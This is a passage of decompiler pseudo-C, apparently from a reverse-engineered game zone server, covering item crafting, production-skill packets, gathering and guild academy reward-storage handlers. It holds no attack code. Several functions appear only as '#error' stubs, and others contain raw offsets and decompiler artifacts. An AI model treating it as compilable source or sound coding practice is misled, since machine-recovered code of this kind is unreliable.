*v11; // eax@14 signed int v12; // edx@15 ItemProducer this; // [sp+14h] [bp-20A4h]@5 unsigned int v14; // [sp+20A8h] [bp-10h]@17 int v15; // [sp+20B4h] [bp-4h]@1 v2 = ecx0; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (NETCOMMAND *)gpp.pp_Buffer; v15 = 0; v4 = gpp.pp_Buffer + 2; v5 = GatherProduce::RecipeBook::operator__(&recipebook, skill); if ( v5 != 0 ) { ItemProducer::ItemProducer(&this, (#440 *)v2, (ItemBag *)v2 + 8892, v5); v7 = *((_DWORD *)v2 + 14442); LOBYTE(v15) = 1; if ( (unsigned __int8)(*(int (__thiscall **)(char *))(v7 + 16))((char *)v2 + 57768) ) { v3->protocol = 8251; *(_WORD *)v4 = v5->product; *((_WORD *)v4 + 1) = 2826; } else { v8 = ItemProducer::ip_ProduceCheck(&this); if ( v8 == 2817 ) { v3->protocol = 13399; *(_WORD *)v4 = *((_WORD *)v2 + 2); *(_DWORD *)(v4 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v10 = ItemProducer::ip_ProductExecute(&this, (#440 *)v2, v3, (PROTO_NC_ITEMDB_PRODUCE_REQ *)v4) + 2; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v10) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce : Packet Too Long", v10); } v12 = (signed int)((unsigned __int64)(v5->index->MasteryGain * *((_WORD *)v2 + 45861) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; CharaterSkillList::csl_AddMastery( (CharaterSkillList *)v2 + 3412, (#440 *)v2, skill, v12 + ((unsigned int)v12 >> 31)); goto LABEL_16; } v3->protocol = 8251; *(_WORD *)v4 = v5->product; *((_WORD *)v4 + 1) = v8; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce : Packet Too Long", 6); } LABEL_16: LOBYTE(v15) = 0; ItemProducer::_ItemProducer(&this); goto LABEL_17; } AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce : Invalid skill", skill); v3->protocol = 8251; *(_WORD *)v4 = -1; *((_WORD *)v4 + 1) = 2825; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce : Packet Too Long", 6); } LABEL_17: --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce"); __security_check_cookie(v14); } //----- (00449CC0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { int v3; // edx@1 void *v4; // esi@1 int v5; // eax@5 int v6; // eax@6 int v7; // ST14_4@7 DebugLogging *v8; // eax@7 DebugLogging *v9; // eax@7 char *v10; // eax@8 int v11; // ST04_4@8 int v12; // eax@8 char *v13; // eax@9 int v14; // eax@11 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@8 int v16; // [sp+20h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; v16 = 0; v4 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, v3); if ( v4 && (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4) == *(_DWORD *)&netcmd[2].protocol && !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 768))(v4) ) { if ( netcmd[6].protocol == 2817 ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v6 + 24))( v6, v4, netcmd[4].protocol, 0) ) { v7 = netcmd[4].protocol; v8 = DebugLogging::operator<<(&LockIndexLog, "GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK : "); v9 = DebugLogging::operator<<(v8, v7); DebugLogging::operator<<(v9, &deb_LF); } v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8252; *((_WORD *)v10 + 1) = *((_WORD *)v4 + 2); *((_WORD *)v10 + 2) = netcmd[5].protocol; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v11 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v16) = 1; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v12, v11, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v16) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v5 + 32))(v5, netcmd[4].protocol); } v13 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8251; *((_WORD *)v13 + 1) = netcmd[5].protocol; *((_WORD *)v13 + 2) = netcmd[6].protocol; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v14 + 12))(v14, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK : Packet Too Long", 6); } } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK"); } //----- (00449EB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 char *v5; // esi@1 char v6; // al@1 signed int v7; // ebx@1 bool v8; // zf@4 unsigned __int16 v9; // ax@5 int v10; // edx@10 int v11; // eax@17 int v12; // eax@32 int v13; // eax@35 char *v14; // esi@36 ZoneBaseSession *v15; // eax@38 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = _S20_4; *(_WORD *)gpp.pp_Buffer = 18467; v7 = 0; *((_WORD *)v5 + 1) = *(_WORD *)(netcmd + 2); if ( !(v6 & 1) ) { _S20_4 |= 1u; cmc_34.cmc_AllowMode = 22; atexit(_E21_4); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_34.cmc_AllowMode) ) { *((_WORD *)v5 + 2) = 2820; v8 = ProtocolPacket::pp_SetPacketLen(&gpp, 6) == 0; goto LABEL_30; } v9 = *(_WORD *)(netcmd + 2); v10 = v9 == skilldatabox.sdb_SpecSkill.ss_PortionProductMain || v9 == skilldatabox.sdb_SpecSkill.ss_ScrollProductMain || v9 == skilldatabox.sdb_SpecSkill.ss_StoneProductMain || v9 == skilldatabox.sdb_SpecSkill.ss_ResolveProductMain || v9 == skilldatabox.sdb_SpecSkill.ss_CompoundProductMain; if ( !v10 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ : ProductField Error", v9); *((_WORD *)v5 + 2) = 2834; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) goto LABEL_31; LABEL_17: v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v4, &gpp); goto LABEL_39; } if ( CharaterSkillList::csl_IsLearn((CharaterSkillList *)v4 + 3412, v9) ) { *((_WORD *)v5 + 2) = 2835; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { LABEL_31: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ : Packet Too Long", 6); goto LABEL_39; } goto LABEL_17; } if ( CharaterSkillList::csl_IsLearn((CharaterSkillList *)v4 + 3412, skilldatabox.sdb_SpecSkill.ss_PortionProductMain) ) v7 = 1; if ( CharaterSkillList::csl_IsLearn((CharaterSkillList *)v4 + 3412, skilldatabox.sdb_SpecSkill.ss_ScrollProductMain) ) ++v7; if ( CharaterSkillList::csl_IsLearn((CharaterSkillList *)v4 + 3412, skilldatabox.sdb_SpecSkill.ss_StoneProductMain) ) ++v7; if ( CharaterSkillList::csl_IsLearn((CharaterSkillList *)v4 + 3412, skilldatabox.sdb_SpecSkill.ss_ResolveProductMain) ) ++v7; if ( CharaterSkillList::csl_IsLearn((CharaterSkillList *)v4 + 3412, skilldatabox.sdb_SpecSkill.ss_CompoundProductMain) ) ++v7; if ( v7 >= 2 ) { *((_WORD *)v5 + 2) = 2836; v8 = ProtocolPacket::pp_SetPacketLen(&gpp, 6) == 0; LABEL_30: if ( !v8 ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); goto LABEL_39; } goto LABEL_31; } *((_WORD *)v5 + 2) = 2817; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ : Packet Too Long", 6); } v14 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18433; *((_WORD *)v14 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v14 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v14 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v14 + 6) = *(_WORD *)(netcmd + 2); *(_WORD *)(v14 + 15) = -1; v14[14] = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 17) ) { v15 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v15); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_uie_SkillScroll_Result : Packet Too Long", 17); } LABEL_39: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ"); } //----- (0044A1F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Gather(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Gather"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Schedule_Gather"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_GatherComplete(v1, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Gather"); return 0; } // 4487C0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_GatherComplete(_DWORD, _DWORD); //----- (0044A290) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v4 + 23039) = 0; *((_DWORD *)v4 + 23040) = ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; *((_DWORD *)v4 + 23043) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)v4 + 23042) = 0; ShineObjectClass::ShinePlayer::sp_GatherComplete(v4, 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"); } // 4487C0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_GatherComplete(_DWORD, _DWORD); //----- (0044A350) -------------------------------------------------------- #error "44A350: undefined or illegal type '#331' (funcsize=195)" //----- (0044A620) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreGradeFill(int this, char Grade) { char result; // al@1 result = Grade; *(_BYTE *)(this + 68232) = Grade; return result; } //----- (0044A630) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isGuildAcademyRewardStoreGrade(int this) { return *(_BYTE *)(this + 68232) <= 0u; } //----- (0044A640) -------------------------------------------------------- #error "44A640: undefined or illegal type '#331' (funcsize=29)" //----- (0044A690) -------------------------------------------------------- char __thiscall ListIteratorDefault::lid_Call(ListIteratorDefault *this, ORColumnHeader *ele, unsigned __int16 handle) { return 1; } //----- (0044A6A0) -------------------------------------------------------- #error "44A6A0: undefined or illegal type '#331' (funcsize=71)" //----- (0044A7C0) -------------------------------------------------------- void __thiscall ShineGuildAcademyGuildBuff::ShineGuildAcademyGuildBuff(ShineGuildAcademyGuildBuff *this, PROTO_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD *pGuildBuff) { this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyGuildBuff::_vftable_; this->sgagb_GuildBuff = pGuildBuff; this->sgagb_dic = AbnormalStateDictionary::AbState::as_FromName(&dic_abstate, pGuildBuff->BuffName); } // 5A36F0: using guessed type int (__stdcall *ShineGuildAcademyGuildBuff___vftable_)(int, int nGuildNo); //----- (0044A820) -------------------------------------------------------- #error "44A820: undefined or illegal type '#331' (funcsize=131)" //----- (0044A9C0) -------------------------------------------------------- #error "44A9C0: undefined or illegal type '#331' (funcsize=98)" //----- (0044AB10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck(void *this, int reward_ack) { void *v2; // ebp@1 signed int v3; // esi@1 int v4; // ebx@1 bool v5; // zf@1 int v6; // edi@5 char *v7; // esi@8 int v8; // eax@8 __int64 v9; // qax@8 int v10; // edi@10 char *v11; // esi@12 int v12; // eax@12 char *v13; // [sp-4h] [bp-64h]@2 signed int i; // [sp+10h] [bp-50h]@10 int v15; // [sp+14h] [bp-4Ch]@5 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG tempring; // [sp+1Ch] [bp-44h]@8 unsigned int v17; // [sp+50h] [bp-10h]@15 int v18; // [sp+5Ch] [bp-4h]@1 int reward_acka; // [sp+64h] [bp+4h]@10 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = reward_ack; v5 = *(_WORD *)(reward_ack + 6) == 6304; v18 = 0; if ( v5 ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2044))(v2) == 1 ) { if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2048))(v2) ) { v6 = *(_DWORD *)(reward_ack + 12); v15 = *(_DWORD *)(reward_ack + 12); if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2048))(v2) == v6 ) { if ( *(_DWORD *)(reward_ack + 48) || *(_DWORD *)(reward_ack + 44) ) { v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26510; v7 += 2; *v7 = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v7 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v7 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v7 + 7) = v6; v7[11] = 1; v7[12] = 3; v7[13] = 2; *(_DWORD *)(v7 + 33) = *(_DWORD *)(reward_ack + 44); *(_DWORD *)(v7 + 37) = *(_DWORD *)(reward_ack + 48); *(_DWORD *)(v7 + 41) = *(_DWORD *)(reward_ack + 52); *(_DWORD *)(v7 + 45) = *(_DWORD *)(reward_ack + 56); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); Name4::operator_((int)(v7 + 15), v8); *(_WORD *)(v7 + 31) = -1; v7[14] = 0; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, v7, 0x30u); BYTE7(tempring.storage_cen) = v7[48]; GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther( &gldacademyrewardstoramanager, &tempring); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member( &gldacademyrewardstoramanager, &tempring); LODWORD(v9) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1056))(v2); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v2 + 1068))( v2, *(_DWORD *)(reward_ack + 44) + v9, (unsigned __int64)(*(_QWORD *)(reward_ack + 44) + v9) >> 32); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1076))(v2); v3 = -1; } if ( *(_BYTE *)(reward_ack + 60) ) { v10 = reward_ack + 64; i = 0; for ( reward_acka = reward_ack + 64; ; v10 = reward_acka ) { v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26510; v11 += 2; *v11 = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v11 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v11 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v11 + 7) = v15; v11[11] = 1; v11[12] = 3; v11[13] = 1; v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); *(_DWORD *)(v11 + 15) = *(_DWORD *)v12; *(_DWORD *)(v11 + 19) = *(_DWORD *)(v12 + 4); *(_DWORD *)(v11 + 23) = *(_DWORD *)(v12 + 8); *(_DWORD *)(v11 + 27) = *(_DWORD *)(v12 + 12); *(_WORD *)(v11 + 31) = *(_WORD *)(v10 - 2); v11[14] = *(_BYTE *)v10; *(_DWORD *)(v11 + 33) = *(_DWORD *)(v10 + 2); *(_DWORD *)(v11 + 37) = 0; *(_DWORD *)(v11 + 41) = 0; *(_DWORD *)(v11 + 45) = 0; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, v11, 0x30u); BYTE7(tempring.storage_cen) = v11[48]; GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther( &gldacademyrewardstoramanager, &tempring); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member( &gldacademyrewardstoramanager, &tempring); reward_acka += 9; ++i; if ( i >= *(_BYTE *)(v4 + 60) ) break; } v3 = -1; } } } } v13 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck"; } else { v13 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck"; } --funcallanalizer.fca_stackpoint; v18 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); __security_check_cookie(v17); } //----- (0044AE00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng(void *this, int reward) { void *v2; // ebx@1 char *v3; // esi@9 int v4; // esi@9 int v5; // eax@9 signed int v6; // eax@12 __int64 v7; // qax@17 const char *v8; // [sp-8h] [bp-2038h]@2 int v9; // [sp-4h] [bp-2034h]@2 char *v10; // [sp-4h] [bp-2034h]@18 int v11; // [sp+10h] [bp-2020h]@10 char *v12; // [sp+10h] [bp-2020h]@13 int v13; // [sp+14h] [bp-201Ch]@10 int v14; // [sp+14h] [bp-201Ch]@13 signed int i; // [sp+18h] [bp-2018h]@9 int buff; // [sp+20h] [bp-2010h]@12 __int16 v17; // [sp+24h] [bp-200Ch]@12 char v18; // [sp+26h] [bp-200Ah]@12 int v19; // [sp+27h] [bp-2009h]@12 int v20; // [sp+2Bh] [bp-2005h]@12 int v21; // [sp+2Fh] [bp-2001h]@12 int v22; // [sp+33h] [bp-1FFDh]@12 int v23; // [sp+37h] [bp-1FF9h]@12 int v24; // [sp+3Bh] [bp-1FF5h]@12 int v25; // [sp+3Fh] [bp-1FF1h]@12 int v26; // [sp+43h] [bp-1FEDh]@12 int v27; // [sp+47h] [bp-1FE9h]@12 char v28; // [sp+4Bh] [bp-1FE5h]@12 char v29; // [sp+4Ch] [bp-1FE4h]@13 unsigned int v30; // [sp+2020h] [bp-10h]@21 int v31; // [sp+202Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v31 = 0; if ( !reward ) { v9 = 0; v8 = "ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng - reward null"; LABEL_20: AssertClass::ac_AssertFail(&shineassert, v8, v9); v31 = -1; v10 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng"; goto LABEL_21; } if ( *(_WORD *)(reward + 6) != 6304 ) { v9 = 0; v8 = "ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng - receive error"; goto LABEL_20; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2044))(v2) != 1 ) { v9 = 0; v8 = "ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng - guildacademy member"; goto LABEL_20; } if ( !(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2048))(v2) || (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2048))(v2) != *(_DWORD *)(reward + 12) ) { v9 = 0; v8 = "ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng - guildacademy number"; goto LABEL_20; } v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26493; v4 = (int)(v3 + 2); *(_BYTE *)v4 = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v4 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v4 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v4 + 7) = *(_DWORD *)(reward + 12); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); Name4::operator_(v4 + 11, v5); *(_DWORD *)(v4 + 27) = *(_DWORD *)(reward + 44); *(_DWORD *)(v4 + 31) = *(_DWORD *)(reward + 48); *(_DWORD *)(v4 + 35) = *(_DWORD *)(reward + 52); *(_DWORD *)(v4 + 39) = *(_DWORD *)(reward + 56); *(_BYTE *)(v4 + 43) = *(_BYTE *)(reward + 60); i = 0; if ( *(_BYTE *)(reward + 60) ) { v13 = v4 + 44; v11 = reward + 61; do { *(_DWORD *)v13 = *(_DWORD *)v11; *(_DWORD *)(v13 + 4) = *(_DWORD *)(v11 + 4); *(_BYTE *)(v13 + 8) = *(_BYTE *)(v11 + 8); v11 += 9; v13 += 9; ++i; } while ( i < *(_BYTE *)(reward + 60) ); } ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 9 * *(_BYTE *)(v4 + 43) + 46); buff = *(_DWORD *)v4; v17 = *(_WORD *)(v4 + 4); v18 = *(_BYTE *)(v4 + 6); v19 = *(_DWORD *)(v4 + 7); v20 = *(_DWORD *)(v4 + 11); v21 = *(_DWORD *)(v4 + 15); v22 = *(_DWORD *)(v4 + 19); v23 = *(_DWORD *)(v4 + 23); v24 = *(_DWORD *)(v4 + 27); v25 = *(_DWORD *)(v4 + 31); v26 = *(_DWORD *)(v4 + 35); v27 = *(_DWORD *)(v4 + 39); v28 = *(_BYTE *)(v4 + 43); v6 = 0; if ( *(_BYTE *)(v4 + 43) ) { v12 = &v29; v14 = v4 + 44; do { *(_DWORD *)v12 = *(_DWORD *)v14; *((_DWORD *)v12 + 1) = *(_DWORD *)(v14 + 4); v12[8] = *(_BYTE *)(v14 + 8); ++v6; v14 += 9; v12 += 9; } while ( v6 < *(_BYTE *)(v4 + 43) ); } GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_RewardInfoZoneRngAtOther( &gldacademyrewardstoramanager, (PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *)&buff); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendRewardInfoZoneRng2Member( &gldacademyrewardstoramanager, (PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *)&buff); if ( *(_DWORD *)(reward + 48) || *(_DWORD *)(reward + 44) ) { LODWORD(v7) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1056))(v2); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v2 + 1068))( v2, *(_DWORD *)(reward + 44) + v7, (unsigned __int64)(*(_QWORD *)(reward + 44) + v7) >> 32); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1076))(v2); } v31 = -1; v10 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng"; LABEL_21: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); __security_check_cookie(v30); } //----- (0044B130) -------------------------------------------------------- #error "44B130: undefined or illegal type '#331' (funcsize=73)" //----- (0044B230) -------------------------------------------------------- #error "44B230: undefined or illegal type '#331' (funcsize=60)" //----- (0044B320) -------------------------------------------------------- #error "44B320: undefined or illegal type '#331' (funcsize=63)" //----- (0044B410) -------------------------------------------------------- #error "44B410: undefined or illegal type '#331' (funcsize=81)" //----- (0044B520) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { ShineGuildAcademyGuildBuff sgagb; // [sp+4h] [bp-1Ch]@1 int v4; // [sp+1Ch] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; ShineGuildAcademyGuildBuff::ShineGuildAcademyGuildBuff( &sgagb, (PROTO_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD *)&netcmd[1]); LOBYTE(v4) = 1; List::l_4AllInList(unk_1247FF04, (ListIteratorDefault *)&sgagb); --funcallanalizer.fca_stackpoint; sgagb.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; 